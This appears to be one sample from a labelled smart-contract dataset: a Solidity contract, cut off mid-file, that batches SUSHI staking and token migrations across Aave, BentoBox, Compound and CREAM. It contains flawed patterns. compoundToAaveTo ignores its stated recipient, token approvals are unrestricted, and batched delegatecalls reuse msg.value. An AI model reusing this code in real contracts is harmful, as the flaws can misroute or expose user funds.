X
stringlengths 111
713k
| y
stringclasses 56
values |
---|---|
/// SPDX-License-Identifier: MIT
/*
βββ β ββ βββββ ββ
ββ β β β β ββ ββ
ββ ββ β ββββ ββββ ββ
ββ β β β β β β β ββ
β β β β β β β
β ββ β β
β */
/// Special thanks to Keno and Boring for reviewing early bridge patterns.
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
// File @boringcrypto/boring-solidity/contracts/libraries/BoringMath.sol@v1.2.0
/// License-Identifier: MIT
/// @notice A library for performing overflow-/underflow-safe math,
/// updated with awesomeness from of DappHub (https://github.com/dapphub/ds-math).
library BoringMath {
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
require(b == 0 || (c = a * b) / b == a, "BoringMath: Mul Overflow");
}
function to128(uint256 a) internal pure returns (uint128 c) {
require(a <= uint128(-1), "BoringMath: uint128 Overflow");
c = uint128(a);
}
function to64(uint256 a) internal pure returns (uint64 c) {
require(a <= uint64(-1), "BoringMath: uint64 Overflow");
c = uint64(a);
}
function to32(uint256 a) internal pure returns (uint32 c) {
require(a <= uint32(-1), "BoringMath: uint32 Overflow");
c = uint32(a);
}
}
/// @notice Interface for depositing into and withdrawing from SushiBar.
interface ISushiBarBridge {
function enter(uint256 amount) external;
function leave(uint256 share) external;
}
/// @notice Interface for depositing into and withdrawing from Aave lending pool.
interface IAaveBridge {
function UNDERLYING_ASSET_ADDRESS() external view returns (address);
function deposit(
address asset,
uint256 amount,
address onBehalfOf,
uint16 referralCode
) external;
function withdraw(
address token,
uint256 amount,
address destination
) external;
}
/// @notice Interface for depositing into and withdrawing from BentoBox vault.
interface IBentoBridge {
function registerProtocol() external;
function deposit(
IERC20 token_,
address from,
address to,
uint256 amount,
uint256 share
) external payable returns (uint256 amountOut, uint256 shareOut);
function withdraw(
IERC20 token_,
address from,
address to,
uint256 amount,
uint256 share
) external returns (uint256 amountOut, uint256 shareOut);
}
/// @notice Interface for depositing into and withdrawing from Compound finance protocol.
interface ICompoundBridge {
function underlying() external view returns (address);
function mint(uint mintAmount) external returns (uint);
function redeem(uint redeemTokens) external returns (uint);
}
/// @notice Interface for Dai Stablecoin (DAI) `permit()` primitive.
interface IDaiPermit {
function permit(
address holder,
address spender,
uint256 nonce,
uint256 expiry,
bool allowed,
uint8 v,
bytes32 r,
bytes32 s
) external;
}
/// @notice Interface for SushiSwap.
interface ISushiSwap {
function deposit() external payable;
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
}
// File @boringcrypto/boring-solidity/contracts/interfaces/IERC20.sol@v1.2.0
/// License-Identifier: MIT
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
/// @notice EIP 2612
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
}
// File @boringcrypto/boring-solidity/contracts/libraries/BoringERC20.sol@v1.2.0
/// License-Identifier: MIT
library BoringERC20 {
bytes4 private constant SIG_SYMBOL = 0x95d89b41; // symbol()
bytes4 private constant SIG_NAME = 0x06fdde03; // name()
bytes4 private constant SIG_DECIMALS = 0x313ce567; // decimals()
bytes4 private constant SIG_TRANSFER = 0xa9059cbb; // transfer(address,uint256)
bytes4 private constant SIG_TRANSFER_FROM = 0x23b872dd; // transferFrom(address,address,uint256)
/// @notice Provides a safe ERC20.transfer version for different ERC-20 implementations.
/// Reverts on a failed transfer.
/// @param token The address of the ERC-20 token.
/// @param to Transfer tokens to.
/// @param amount The token amount.
function safeTransfer(
IERC20 token,
address to,
uint256 amount
) internal {
(bool success, bytes memory data) = address(token).call(abi.encodeWithSelector(SIG_TRANSFER, to, amount));
require(success && (data.length == 0 || abi.decode(data, (bool))), "BoringERC20: Transfer failed");
}
/// @notice Provides a safe ERC20.transferFrom version for different ERC-20 implementations.
/// Reverts on a failed transfer.
/// @param token The address of the ERC-20 token.
/// @param from Transfer tokens from.
/// @param to Transfer tokens to.
/// @param amount The token amount.
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 amount
) internal {
(bool success, bytes memory data) = address(token).call(abi.encodeWithSelector(SIG_TRANSFER_FROM, from, to, amount));
require(success && (data.length == 0 || abi.decode(data, (bool))), "BoringERC20: TransferFrom failed");
}
}
// File @boringcrypto/boring-solidity/contracts/BoringBatchable.sol@v1.2.0
/// License-Identifier: MIT
contract BaseBoringBatchable {
/// @dev Helper function to extract a useful revert message from a failed call.
/// If the returned data is malformed or not correctly abi encoded then this call can fail itself.
function _getRevertMsg(bytes memory _returnData) internal pure returns (string memory) {
// If the _res length is less than 68, then the transaction failed silently (without a revert message)
if (_returnData.length < 68) return "Transaction reverted silently";
assembly {
// Slice the sighash.
_returnData := add(_returnData, 0x04)
}
return abi.decode(_returnData, (string)); // All that remains is the revert string
}
/// @notice Allows batched call to self (this contract).
/// @param calls An array of inputs for each call.
/// @param revertOnFail If True then reverts after a failed call and stops doing further calls.
/// @return successes An array indicating the success of a call, mapped one-to-one to `calls`.
/// @return results An array with the returned data of each function call, mapped one-to-one to `calls`.
// F1: External is ok here because this is the batch function, adding it to a batch makes no sense
// F2: Calls in the batch may be payable, delegatecall operates in the same context, so each call in the batch has access to msg.value
// C3: The length of the loop is fully under user control, so can't be exploited
// C7: Delegatecall is only used on the same contract, so it's safe
function batch(bytes[] calldata calls, bool revertOnFail) external payable returns (bool[] memory successes, bytes[] memory results) {
successes = new bool[](calls.length);
results = new bytes[](calls.length);
for (uint256 i = 0; i < calls.length; i++) {
(bool success, bytes memory result) = address(this).delegatecall(calls[i]);
require(success || !revertOnFail, _getRevertMsg(result));
successes[i] = success;
results[i] = result;
}
}
}
/// @notice Extends `BoringBatchable` with Dai `permit()`.
contract BoringBatchableWithDai is BaseBoringBatchable {
address constant dai = 0x6B175474E89094C44Da98b954EedeAC495271d0F; // DAI token contract
/// @notice Call wrapper that performs `ERC20.permit` on `dai` using EIP 2612 primitive.
/// Lookup `IDaiPermit.permit`.
function permitDai(
address holder,
address spender,
uint256 nonce,
uint256 expiry,
bool allowed,
uint8 v,
bytes32 r,
bytes32 s
) public {
IDaiPermit(dai).permit(holder, spender, nonce, expiry, allowed, v, r, s);
}
/// @notice Call wrapper that performs `ERC20.permit` on `token`.
/// Lookup `IERC20.permit`.
// F6: Parameters can be used front-run the permit and the user's permit will fail (due to nonce or other revert)
// if part of a batch this could be used to grief once as the second call would not need the permit
function permitToken(
IERC20 token,
address from,
address to,
uint256 amount,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public {
token.permit(from, to, amount, deadline, v, r, s);
}
}
/// @notice Contract that batches SUSHI staking and DeFi strategies.
contract Inari is BoringBatchableWithDai {
using BoringMath for uint256;
using BoringERC20 for IERC20;
IERC20 constant sushiToken = IERC20(0x6B3595068778DD592e39A122f4f5a5cF09C90fE2); // SUSHI token contract
address constant sushiBar = 0x8798249c2E607446EfB7Ad49eC89dD1865Ff4272; // xSUSHI staking contract for SUSHI
IAaveBridge constant aave = IAaveBridge(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9); // AAVE lending pool contract for xSUSHI staking into aXSUSHI
IERC20 constant aaveSushiToken = IERC20(0xF256CC7847E919FAc9B808cC216cAc87CCF2f47a); // aXSUSHI staking contract for xSUSHI
IBentoBridge constant bento = IBentoBridge(0xF5BCE5077908a1b7370B9ae04AdC565EBd643966); // BENTO vault contract
address constant crSushiToken = 0x338286C0BC081891A4Bda39C7667ae150bf5D206; // crSUSHI staking contract for SUSHI
address constant crXSushiToken = 0x228619CCa194Fbe3Ebeb2f835eC1eA5080DaFbb2; // crXSUSHI staking contract for xSUSHI
address constant wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address constant sushiSwapFactory = 0xC0AEe478e3658e2610c5F7A4A2E1777cE9e4f2Ac; // SushiSwap factory contract
ISushiSwap constant sushiSwapSushiETHPair = ISushiSwap(0x795065dCc9f64b5614C407a6EFDC400DA6221FB0); //
bytes32 constant pairCodeHash = 0xe18a34eb0e04b04f7a0ac29a6e80748dca96319b42c54d679cb821dca90c6303; // SushiSwap pair code hash
/// @notice Initialize this Inari contract and core SUSHI strategies.
constructor() public {
bento.registerProtocol(); // register this contract with BENTO
sushiToken.approve(address(sushiBar), type(uint256).max); // max approve `sushiBar` spender to stake SUSHI into xSUSHI from this contract
sushiToken.approve(crSushiToken, type(uint256).max); // max approve `crSushiToken` spender to stake SUSHI into crSUSHI from this contract
IERC20(sushiBar).approve(address(aave), type(uint256).max); // max approve `aave` spender to stake xSUSHI into aXSUSHI from this contract
IERC20(sushiBar).approve(address(bento), type(uint256).max); // max approve `bento` spender to stake xSUSHI into BENTO from this contract
IERC20(sushiBar).approve(crXSushiToken, type(uint256).max); // max approve `crXSushiToken` spender to stake xSUSHI into crXSUSHI from this contract
IERC20(dai).approve(address(bento), type(uint256).max); // max approve `bento` spender to pull DAI into BENTO from this contract
IERC20(wETH).approve(address(sushiSwapSushiETHPair), type(uint256).max); // max approve `sushiSwapSushiETHPair` spender to pull wETH to swap from this contract
}
/// @notice Helper function to approve this contract to spend and bridge more tokens among DeFi contracts.
function approveTokenBridge(IERC20[] calldata underlying, address[] calldata cToken) external {
for (uint256 i = 0; i < underlying.length; i++) {
underlying[i].approve(address(aave), type(uint256).max); // max approve `aave` spender to pull `underlying` from this contract
underlying[i].approve(address(bento), type(uint256).max); // max approve `bento` spender to pull `underlying` from this contract
underlying[i].approve(cToken[i], type(uint256).max); // max approve `cToken` spender to pull `underlying` from this contract
}
}
/// @notice ETH deposit function for `batch` into strategies.
function depositETH() external payable {}
/// @notice Generalized token deposit function for `batch` into strategies.
function depositToken(IERC20 token, uint256 amount) external {
IERC20(token).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `token` `amount` into this contract
}
/*
ββ ββ β βββββ
β β β β β ββ β
ββββ ββββ β β ββββ
β β β β β β ββ ββ
β β β β βββββ
β β ββ
β β β */
/**************************
AAVE -> UNDERLYING -> BENTO
**************************/
/// @notice Migrate AAVE `aToken` underlying `amount` into BENTO by batching calls to `aave` and `bento`.
function aaveToBento(address aToken, uint256 amount) external {
IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, amount, address(this)); // burn deposited `aToken` from `aave` into `underlying`
bento.deposit(IERC20(underlying), address(this), msg.sender, amount, 0); // stake `underlying` into BENTO for `msg.sender`
}
/// @notice Migrate AAVE `aToken` underlying `amount` into BENTO for benefit of `to` by batching calls to `aave` and `bento`.
function aaveToBentoTo(address aToken, address to, uint256 amount) external {
IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, amount, address(this)); // burn deposited `aToken` from `aave` into `underlying`
bento.deposit(IERC20(underlying), address(this), to, amount, 0); // stake `underlying` into BENTO for `to`
}
/**************************
BENTO -> UNDERLYING -> AAVE
**************************/
/// @notice Migrate `underlying` `amount` from BENTO into AAVE by batching calls to `bento` and `aave`.
function bentoToAave(IERC20 underlying, uint256 amount) external {
bento.withdraw(underlying, msg.sender, address(this), amount, 0); // withdraw `amount` of `underlying` from BENTO into this contract
aave.deposit(address(underlying), amount, msg.sender, 0); // stake `underlying` into `aave` for `msg.sender`
}
/// @notice Migrate `underlying` `amount` from BENTO into AAVE for benefit of `to` by batching calls to `bento` and `aave`.
function bentoToAaveTo(IERC20 underlying, address to, uint256 amount) external {
bento.withdraw(underlying, msg.sender, address(this), amount, 0); // withdraw `amount` of `underlying` from BENTO into this contract
aave.deposit(address(underlying), amount, to, 0); // stake `underlying` into `aave` for `to`
}
/*************************
AAVE -> UNDERLYING -> COMP
*************************/
/// @notice Migrate AAVE `aToken` underlying `amount` into COMP/CREAM `cToken` by batching calls to `aave` and `cToken`.
function aaveToCompound(address aToken, address cToken, uint256 amount) external {
IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, amount, address(this)); // burn deposited `aToken` from `aave` into `underlying`
ICompoundBridge(cToken).mint(amount); // stake `underlying` into `cToken`
IERC20(cToken).safeTransfer(msg.sender, IERC20(cToken).balanceOf(address(this))); // transfer resulting `cToken` to `msg.sender`
}
/// @notice Migrate AAVE `aToken` underlying `amount` into COMP/CREAM `cToken` for benefit of `to` by batching calls to `aave` and `cToken`.
function aaveToCompoundTo(address aToken, address cToken, address to, uint256 amount) external {
IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, amount, address(this)); // burn deposited `aToken` from `aave` into `underlying`
ICompoundBridge(cToken).mint(amount); // stake `underlying` into `cToken`
IERC20(cToken).safeTransfer(to, IERC20(cToken).balanceOf(address(this))); // transfer resulting `cToken` to `to`
}
/*************************
COMP -> UNDERLYING -> AAVE
*************************/
/// @notice Migrate COMP/CREAM `cToken` underlying `amount` into AAVE by batching calls to `cToken` and `aave`.
function compoundToAave(address cToken, uint256 amount) external {
IERC20(cToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `cToken` `amount` into this contract
ICompoundBridge(cToken).redeem(amount); // burn deposited `cToken` into `underlying`
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
aave.deposit(address(underlying), underlying.balanceOf(address(this)), msg.sender, 0); // stake `underlying` into `aave` for `msg.sender`
}
/// @notice Migrate COMP/CREAM `cToken` underlying `amount` into AAVE for benefit of `to` by batching calls to `cToken` and `aave`.
function compoundToAaveTo(address cToken, uint256 amount) external {
IERC20(cToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `cToken` `amount` into this contract
ICompoundBridge(cToken).redeem(amount); // burn deposited `cToken` into `underlying`
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
aave.deposit(address(underlying), underlying.balanceOf(address(this)), msg.sender, 0); // stake `underlying` into `aave` for `to`
}
/**********************
SUSHI -> XSUSHI -> AAVE
**********************/
/// @notice Stake SUSHI `amount` into aXSUSHI by batching calls to `sushiBar` and `aave`.
function stakeSushiToAave(uint256 amount) external {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI
aave.deposit(sushiBar, IERC20(sushiBar).balanceOf(address(this)), msg.sender, 0); // stake resulting xSUSHI into `aave` aXSUSHI for `msg.sender`
}
/// @notice Stake SUSHI `amount` into aXSUSHI for benefit of `to` by batching calls to `sushiBar` and `aave`.
function stakeSushiToAaveTo(address to, uint256 amount) external {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI
aave.deposit(sushiBar, IERC20(sushiBar).balanceOf(address(this)), to, 0); // stake resulting xSUSHI into `aave` aXSUSHI for `to`
}
/**********************
AAVE -> XSUSHI -> SUSHI
**********************/
/// @notice Unstake aXSUSHI `amount` into SUSHI by batching calls to `aave` and `sushiBar`.
function unstakeSushiFromAave(uint256 amount) external {
aaveSushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` aXSUSHI `amount` into this contract
aave.withdraw(sushiBar, amount, address(this)); // burn deposited aXSUSHI from `aave` into xSUSHI
ISushiBarBridge(sushiBar).leave(amount); // burn resulting xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(msg.sender, sushiToken.balanceOf(address(this))); // transfer resulting SUSHI to `msg.sender`
}
/// @notice Unstake aXSUSHI `amount` into SUSHI for benefit of `to` by batching calls to `aave` and `sushiBar`.
function unstakeSushiFromAaveTo(address to, uint256 amount) external {
aaveSushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` aXSUSHI `amount` into this contract
aave.withdraw(sushiBar, amount, address(this)); // burn deposited aXSUSHI from `aave` into xSUSHI
ISushiBarBridge(sushiBar).leave(amount); // burn resulting xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.balanceOf(address(this))); // transfer resulting SUSHI to `to`
}
/*
βββ βββββ β βββββ βββββ
β β ββ β β βββ β β β
β β β ββββ ββ β β β β
β ββ ββ ββ β β β β βββββ
βββ βββββ β β β β
β ββ */
/// @notice Helper function to `permit()` this contract to deposit `dai` into `bento`.
function daiToBentoWithPermit(
uint256 amount, uint256 nonce, uint256 deadline,
uint8 v, bytes32 r, bytes32 s
) external {
IDaiPermit(dai).permit(msg.sender, address(this), nonce, deadline, true, v, r, s); // `permit()` this contract to spend `msg.sender` `dai` `amount`
IERC20(dai).safeTransferFrom(msg.sender, address(this), amount); // pull `dai` `amount` into this contract
bento.deposit(IERC20(dai), address(this), msg.sender, amount, 0); // stake `dai` into BENTO for `msg.sender`
}
/***********************
SUSHI -> XSUSHI -> BENTO
***********************/
/// @notice Stake SUSHI `amount` into BENTO xSUSHI by batching calls to `sushiBar` and `bento`.
function stakeSushiToBento(uint256 amount) external {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI
bento.deposit(IERC20(sushiBar), address(this), msg.sender, IERC20(sushiBar).balanceOf(address(this)), 0); // stake resulting xSUSHI into BENTO for `msg.sender`
}
/// @notice Stake SUSHI `amount` into BENTO xSUSHI for benefit of `to` by batching calls to `sushiBar` and `bento`.
function stakeSushiToBentoTo(address to, uint256 amount) external {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI
bento.deposit(IERC20(sushiBar), address(this), to, IERC20(sushiBar).balanceOf(address(this)), 0); // stake resulting xSUSHI into BENTO for `to`
}
/***********************
BENTO -> XSUSHI -> SUSHI
***********************/
/// @notice Unstake xSUSHI `amount` from BENTO into SUSHI by batching calls to `bento` and `sushiBar`.
function unstakeSushiFromBento(uint256 amount) external {
bento.withdraw(IERC20(sushiBar), msg.sender, address(this), amount, 0); // withdraw `amount` of xSUSHI from BENTO into this contract
ISushiBarBridge(sushiBar).leave(amount); // burn withdrawn xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(msg.sender, sushiToken.balanceOf(address(this))); // transfer resulting SUSHI to `msg.sender`
}
/// @notice Unstake xSUSHI `amount` from BENTO into SUSHI for benefit of `to` by batching calls to `bento` and `sushiBar`.
function unstakeSushiFromBentoTo(address to, uint256 amount) external {
bento.withdraw(IERC20(sushiBar), msg.sender, address(this), amount, 0); // withdraw `amount` of xSUSHI from BENTO into this contract
ISushiBarBridge(sushiBar).leave(amount); // burn withdrawn xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.balanceOf(address(this))); // transfer resulting SUSHI to `to`
}
/*
βββ βββββ βββββ ββ βββββ
ββ ββ β ββ ββ β β β β β β
β β ββββ ββββ ββββ β β β
ββ ββ β β ββ ββ β β β β
βββββ β βββββ β β
β β β
β */
// - COMPOUND - //
/**************************
COMP -> UNDERLYING -> BENTO
**************************/
/// @notice Migrate COMP/CREAM `cToken` underlying `amount` into BENTO by batching calls to `cToken` and `bento`.
function compoundToBento(address cToken, uint256 cTokenAmount) external {
IERC20(cToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `cToken` `cTokenAmount` into this contract
ICompoundBridge(cToken).redeem(cTokenAmount); // burn deposited `cToken` into `underlying`
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
bento.deposit(underlying, address(this), msg.sender, underlying.balanceOf(address(this)), 0); // stake resulting `underlying` into BENTO for `msg.sender`
}
/// @notice Migrate COMP/CREAM `cToken` underlying `amount` into BENTO for benefit of `to` by batching calls to `cToken` and `bento`.
function compoundToBentoTo(address cToken, address to, uint256 cTokenAmount) external {
IERC20(cToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `cToken` `cTokenAmount` into this contract
ICompoundBridge(cToken).redeem(cTokenAmount); // burn deposited `cToken` into `underlying`
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
bento.deposit(underlying, address(this), to, underlying.balanceOf(address(this)), 0); // stake resulting `underlying` into BENTO for `to`
}
/**************************
BENTO -> UNDERLYING -> COMP
**************************/
/// @notice Migrate `cToken` `underlyingAmount` from BENTO into COMP/CREAM by batching calls to `bento` and `cToken`.
function bentoToCompound(address cToken, uint256 underlyingAmount) external {
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
bento.withdraw(underlying, msg.sender, address(this), underlyingAmount, 0); // withdraw `underlyingAmount` of `underlying` from BENTO into this contract
ICompoundBridge(cToken).mint(underlyingAmount); // stake `underlying` into `cToken`
IERC20(cToken).safeTransfer(msg.sender, IERC20(cToken).balanceOf(address(this))); // transfer resulting `cToken` to `msg.sender`
}
/// @notice Migrate `cToken` `underlyingAmount` from BENTO into COMP/CREAM for benefit of `to` by batching calls to `bento` and `cToken`.
function bentoToCompoundTo(address cToken, address to, uint256 underlyingAmount) external {
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
bento.withdraw(underlying, msg.sender, address(this), underlyingAmount, 0); // withdraw `underlyingAmount` of `underlying` from BENTO into this contract
ICompoundBridge(cToken).mint(underlyingAmount); // stake `underlying` into `cToken`
IERC20(cToken).safeTransfer(to, IERC20(cToken).balanceOf(address(this))); // transfer resulting `cToken` to `to`
}
/**********************
SUSHI -> CREAM -> BENTO
**********************/
/// @notice Stake SUSHI `amount` into crSUSHI and BENTO by batching calls to `crSushiToken` and `bento`.
function sushiToCreamToBento(uint256 amount) external {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ICompoundBridge(crSushiToken).mint(amount); // stake deposited SUSHI into crSUSHI
bento.deposit(IERC20(crSushiToken), address(this), msg.sender, IERC20(crSushiToken).balanceOf(address(this)), 0); // stake resulting crSUSHI into BENTO for `msg.sender`
}
/// @notice Stake SUSHI `amount` into crSUSHI and BENTO for benefit of `to` by batching calls to `crSushiToken` and `bento`.
function sushiToCreamToBentoTo(address to, uint256 amount) external {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ICompoundBridge(crSushiToken).mint(amount); // stake deposited SUSHI into crSUSHI
bento.deposit(IERC20(crSushiToken), address(this), to, IERC20(crSushiToken).balanceOf(address(this)), 0); // stake resulting crSUSHI into BENTO for `to`
}
/**********************
BENTO -> CREAM -> SUSHI
**********************/
/// @notice Unstake crSUSHI `amount` into SUSHI from BENTO by batching calls to `bento` and `crSushiToken`.
function sushiFromCreamFromBento(uint256 amount) external {
bento.withdraw(IERC20(crSushiToken), msg.sender, address(this), amount, 0); // withdraw `amount` of `crSushiToken` from BENTO into this contract
ICompoundBridge(crSushiToken).redeem(amount); // burn deposited `crSushiToken` into SUSHI
sushiToken.safeTransfer(msg.sender, sushiToken.balanceOf(address(this))); // transfer resulting SUSHI to `msg.sender`
}
/// @notice Unstake crSUSHI `amount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento` and `crSushiToken`.
function sushiFromCreamFromBentoTo(address to, uint256 amount) external {
bento.withdraw(IERC20(crSushiToken), msg.sender, address(this), amount, 0); // withdraw `amount` of `crSushiToken` from BENTO into this contract
ICompoundBridge(crSushiToken).redeem(amount); // burn deposited `crSushiToken` into SUSHI
sushiToken.safeTransfer(to, sushiToken.balanceOf(address(this))); // transfer resulting SUSHI to `to`
}
/***********************
SUSHI -> XSUSHI -> CREAM
***********************/
/// @notice Stake SUSHI `amount` into crXSUSHI by batching calls to `sushiBar` and `crXSushiToken`.
function stakeSushiToCream(uint256 amount) external {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI
ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).balanceOf(address(this))); // stake resulting xSUSHI into crXSUSHI
IERC20(crXSushiToken).safeTransfer(msg.sender, IERC20(crXSushiToken).balanceOf(address(this))); // transfer resulting crXSUSHI to `msg.sender`
}
/// @notice Stake SUSHI `amount` into crXSUSHI for benefit of `to` by batching calls to `sushiBar` and `crXSushiToken`.
function stakeSushiToCreamTo(address to, uint256 amount) external {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI
ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).balanceOf(address(this))); // stake resulting xSUSHI into crXSUSHI
IERC20(crXSushiToken).safeTransfer(to, IERC20(crXSushiToken).balanceOf(address(this))); // transfer resulting crXSUSHI to `to`
}
/***********************
CREAM -> XSUSHI -> SUSHI
***********************/
/// @notice Unstake crXSUSHI `amount` into SUSHI by batching calls to `crXSushiToken` and `sushiBar`.
function unstakeSushiFromCream(uint256 amount) external {
IERC20(crXSushiToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `crXSushiToken` `amount` into this contract
ICompoundBridge(crXSushiToken).redeem(amount); // burn deposited `crXSushiToken` `amount` into xSUSHI
ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).balanceOf(address(this))); // burn resulting xSUSHI `amount` from `sushiBar` into SUSHI
sushiToken.safeTransfer(msg.sender, sushiToken.balanceOf(address(this))); // transfer resulting SUSHI to `msg.sender`
}
/// @notice Unstake crXSUSHI `amount` into SUSHI for benefit of `to` by batching calls to `crXSushiToken` and `sushiBar`.
function unstakeSushiFromCreamTo(address to, uint256 amount) external {
IERC20(crXSushiToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `crXSushiToken` `amount` into this contract
ICompoundBridge(crXSushiToken).redeem(amount); // burn deposited `crXSushiToken` `amount` into xSUSHI
ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).balanceOf(address(this))); // burn resulting xSUSHI `amount` from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.balanceOf(address(this))); // transfer resulting SUSHI to `to`
}
/********************************
SUSHI -> XSUSHI -> CREAM -> BENTO
********************************/
/// @notice Stake SUSHI `amount` into crXSUSHI and BENTO by batching calls to `sushiBar`, `crXSushiToken` and `bento`.
function stakeSushiToCreamToBento(uint256 amount) external {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI
ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).balanceOf(address(this))); // stake resulting xSUSHI into crXSUSHI
bento.deposit(IERC20(crXSushiToken), address(this), msg.sender, IERC20(crXSushiToken).balanceOf(address(this)), 0); // stake resulting crXSUSHI into BENTO for `msg.sender`
}
/// @notice Stake SUSHI `amount` into crXSUSHI and BENTO for benefit of `to` by batching calls to `sushiBar`, `crXSushiToken` and `bento`.
function stakeSushiToCreamToBentoTo(address to, uint256 amount) external {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI
ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).balanceOf(address(this))); // stake resulting xSUSHI into crXSUSHI
bento.deposit(IERC20(crXSushiToken), address(this), to, IERC20(crXSushiToken).balanceOf(address(this)), 0); // stake resulting crXSUSHI into BENTO for `to`
}
/********************************
BENTO -> CREAM -> XSUSHI -> SUSHI
********************************/
/// @notice Unstake crXSUSHI `amount` into SUSHI from BENTO by batching calls to `bento`, `crXSushiToken` and `sushiBar`.
function unstakeSushiFromCreamFromBento(uint256 amount) external {
bento.withdraw(IERC20(crXSushiToken), msg.sender, address(this), amount, 0); // withdraw `amount` of `crXSushiToken` from BENTO into this contract
ICompoundBridge(crXSushiToken).redeem(amount); // burn deposited `crXSushiToken` `amount` into xSUSHI
ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).balanceOf(address(this))); // burn resulting xSUSHI `amount` from `sushiBar` into SUSHI
sushiToken.safeTransfer(msg.sender, sushiToken.balanceOf(address(this))); // transfer resulting SUSHI to `msg.sender`
}
/// @notice Unstake crXSUSHI `amount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento`, `crXSushiToken` and `sushiBar`.
